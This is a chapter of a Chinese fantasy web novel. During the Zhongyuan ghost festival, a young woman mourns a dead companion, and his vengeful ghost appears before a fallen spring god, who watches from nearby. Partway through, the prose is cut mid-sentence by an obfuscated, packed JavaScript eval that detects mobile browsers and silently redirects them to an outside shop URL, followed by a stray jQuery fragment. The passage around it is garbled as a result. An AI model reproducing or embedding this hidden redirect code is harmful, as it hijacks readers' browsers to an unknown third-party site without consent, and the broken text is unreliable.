之后日落月升,中元夜的天黑得格外迅速,仿佛只是一眨眼的功夫,绚烂的夕阳就被浓重的黑幕完成吞没。暗处由此传来了交织的低语,似乎有无数生灵,急不可耐地要奔赴一场盛大狂欢。
林梵儿仔细地擦拭干净了石桌,把供果一样一样装好,摆到了一座小小的降香檀灵位之前。
最后,她打开了那坛酒。
凌渊远远地隔窗而望,心有所感——今夜是阴司鬼门大开之日,传说中黄泉会由幽冥倒流至人间,没来得及转世往生的亡魂可借此回归凡世,寻找他们生前牵挂的人或事,再看一眼。
而凡人也会为他们焚烧纸锭冥宝作为供奉,更会用亡者生前最为喜爱的食物为祭,来寄托哀思。
林梵儿今夜祭奠的故人,应该是一个爱吃葡萄和酥点心,喜欢莲子的清香,对酒也是很有品味的人。
拜这具肉身不凡的眼力所赐,凌渊清楚看到了灵位上的那排泥金小字。
——故兄重焕之灵位。
兄?重焕?
凌渊吃了一惊——林梵儿祭奠的居然是她的兄长,但上重下焕,似乎不是林家之人,难道是义兄?
风禹因霜暝剑的缘故,对荆南林家多有关注,因此不难得知,林家这一代有幸获得了两个铸造的天才,林梵儿是其中之一,另一个就是她一母同胞的亲兄长,惜已英年早逝的林家大公子,讳藏锋。
放着亲生哥哥不顾,竟然给一个外姓的兄长祭奠,她这一举动要么是冷血无情,要么就是别有内情。
从相处这一天的种种来看,林梵儿应该属于后者。
可惜,这似乎是林家的秘辛,以风禹的法力都没能窥得一二。
照凌渊以往的性子,没事都要硬凑几分乐子。可这种一嗅就爱恨情仇的,他忙不迭要退避三舍,甚至埋怨自己怎么不是个瞽目失聪的。
拜他与司命星君的交情所赐,数万年以来仙的凡的那些说不清理还乱之事看了不知凡几,他深知闲事莫问,好奇心害死九命猫的道理。
可是他这耳力真是太灵敏了,饶是他早就向林梵儿借了卧房避嫌,又紧紧地关上了窗户,甚至还扯了巾帕塞住耳朵,她的声音还是如同浮在风上的低语,幽幽飘了进来。
这时候就知道身怀法力的好处了,如果放在以前,别说是一个凡人的窃窃低语,即使千军万马在前,一道结界落下,他想清净多久,就能清净多久。哪里像现在这样,要被硬拽着,听人家的泣语。
罢了!凌渊宽慰自己——既然躲不过去,就当在司命殿时那样,见闻一场凡人的悲欢离合,然后风过无痕,一耳听,一耳逝,半点不走心。
只听林梵儿奠酒三杯,对着灵位哀诉:“重焕哥哥,今夜,你回来了吗?”
凌渊坐在书案后,抱着双臂,略一点头:开场了,只不过有些俗套。
他且耐下心来,听听下文。
林梵儿继续说着:“你在地府里,见到哥哥了吗?啊,你看我糊涂了,你是因他而死,可能生生世世,都不愿再见到他了。”
凌渊:“……”
这是什么展开?!
“三年了,每逢中元,我都在月下祭你,可你却从没有现过身,也从来没有给我托过梦。连这紫玉葡萄、千层酥,还有这嫩莲子,都等不到最爱吃它们的人了。
“以前我们形影不离,天天都在一起。你那时候还发过誓,说等你养好身子,就带我游历四方,看遍四季景色,骑马闯荡江湖,肆意逍遥。重焕哥哥,这些你都忘了吗?或者……你是连我都不想再见了?”
凌渊:有痴男怨女那味了。
“还是说,你早就已经放下心结,转世投胎去了?可是,亲人背弃之恨,身赴熔炉之痛,烈焰焚身之苦,这么容易就能释然吗?”
林梵儿说到这里,几乎已经泣不成声。
凌渊听得心有戚戚,对她这位重焕哥哥的生前身后,有了一个大概的轮廓。
——看来,林梵儿曾有一个很要好的玩伴,和她两小无猜,一同长大。可三年前这位少年却因为林藏锋而死,林梵儿哀伤过甚,年年中元之夜,都要在月下祭奠他。
可身赴熔炉、烈焰焚身,听起来并不是一个能够轻易了除宿怨,三年就能超脱轮回的死法——这一点他认同林梵儿的观点。
世人只知生在人间,死归幽冥。那阴司之中有黄泉三千丈,彻底奔腾,从不停歇,把亡魂渡到彼岸来生。一些无牵无挂,无仇无怨的魂魄便可顺流而下,轮回往生,再世为人。可是那些心有挂碍的就要滞留阴司,只有把心障一一消除殆尽,才能重返人间。
以林梵儿的见识,百年不能超生,就已经是足够罕见的了,也难怪她误以为凌渊抢在中元夜前逃脱幽冥,借尸还魂,骨子里的是只百年老鬼了。
可他们所知不过道听途说,掺着几分虚无缥缈的臆想。实则那阴司黄泉之地蚀心溺神,哪有这么轻易就能挣扎出来的好事!
之后,林梵儿的声音低了下来,只能听到她零星的低泣,混着酒水漫入愁肠的声声长叹。
事不关己,凌渊只当看了一出活的话本子。后来屋外连那一点声音都消失了,在这中元之夜,静得令人不安。
凌渊踟蹰半晌,忽然听到一声清脆的碎瓷声炸响,他立刻推门向院中一看,第一眼就见到了林梵儿醉倒伏在石桌上的身影,不由松了口气。
那声音来自被不省人事的她无意中碰到的酒坛,咕噜噜滚落而下,摔了个粉身碎骨。
凌渊的第二眼却看到了一个立于石桌旁,有形无质的影子,身量虽高大挺拔,却形销骨立,如果放在活人身上,已经算是瘦脱了相。
但那分明是个幽魂,周身死气萦绕,翻涌不散。此时他正半躬着腰,试图用双手去触碰那个睡梦中依旧满脸泪痕的小姑娘。
可惜,人鬼殊途。
果然,看着自己的手一次次穿透活人的身体,没法落到实处,那幽魂的脸色慢慢由失望转成了愤怒。
而林梵儿醉梦中的一句“重焕哥哥,对不起”,却令他身上沉沉的死气骤然躁动,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836752|211465||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
尽数化成了咄咄逼人的暴戾凶息。
居然真是个厉鬼!那么,他的身份,已经呼之欲出了。
——这位的大名这时就明晃晃地写在那降香檀灵位之上。
凌渊心底万分焦急,奈何他现在身无法力,又手无寸铁,一副病躯别说是打鬼了,他连林梵儿都打不过。
但幸好他们是在院子里,这种孟秋时节,别的不多,木植倒是够多。
凌渊闭上了眼睛,心念微动,院中葡萄藤蔓随之无声地蜿蜒,受他本源之力引动,虬枝翻卷如同活物,锋芒暗露,如果那重焕胆敢对林梵儿有丝毫歹念,就叫他尝尝千藤万笞的厉害!
不过,似乎是他多虑了,重焕很快就敛去了一身戾气,心神重归澄澈清明,周身的气息也渐渐平和起来。
春神心下大为震骇,因为重焕此举无异于仅靠自身意志就战胜了心魔,可比以一人之力平息怒浪狂涛的汪洋,是一个了不起的壮举。
凌渊扪心自问,他做不到,即使是他拥有全盛春神之力的时候也做不到。否则,他就不会被绌落凡间,历此一劫了。
可惜了,此等人物,若非枉死,将来的成就一定会不可限量。
“阁下想错了。”
忽地,一声叹息似的低语从那幽魂口中吐出,他扭头看向卧房,目光仿佛穿透了窗户,直直地盯着凌渊。
这句话说予何人,毫无悬念。
——风禹不算人,仙神于鬼魂有威压之力,重焕不可能知晓他的存在——
凌渊悚然一惊——他怎么能知道自己在想什么?!
民间传说中,因鬼魂神秘难测,就被凡人赋予了许多超脱于人的力量,尤其是死后化作厉鬼的,更是法力高强,能杀人夺命,血腥复仇。
更有甚者,有些死者在弥留之际还会放些狠话,诸如:“我死后化作厉鬼,定要令你不得好死!”或是,“我死后做鬼都不放过你!”
殊不知,这不过也是臆想,人死如灯灭,三魂七魄离体入黄泉,必定会成为幽魂。但生前就不曾拥有其他力量的凡人,死后化作的鬼魂也不过是荏弱之辈,经经阴司审判受刑后就要重入轮回。而那些执念深重的,也不会突然就拥有了灵力术法,不过是要在阴司多作盘桓,等待执念消解之后,才能获得解脱罢了。
——简言之,死了就是死了,无牵无挂者奔赴新生,那些想不开、情愿留在阴司之中,长伴三千丈黄泉,日日夜夜面朝永恒黯淡无光的天空,耳中唯有奔流不止的流水,那就随他们去,什么执念耗尽、痴妄成空,什么时候再重归光明。
但阴司之中并不是完全没有厉鬼,那些生前就拥有力量者如果不是寿终正寝,大多都会化作厉鬼。这也不难理解,力量越大,野心不免也甚于常人,这种人一旦死于非命,不闹腾一番都对不住他们的血性。
可是重焕刚才险些失控,戾气几乎蚀尽他的意志,大概不是因为他身赴熔炉的壮烈,或许是因为他生前就掌握了什么不凡的力量。
譬如,他仿佛会读心术?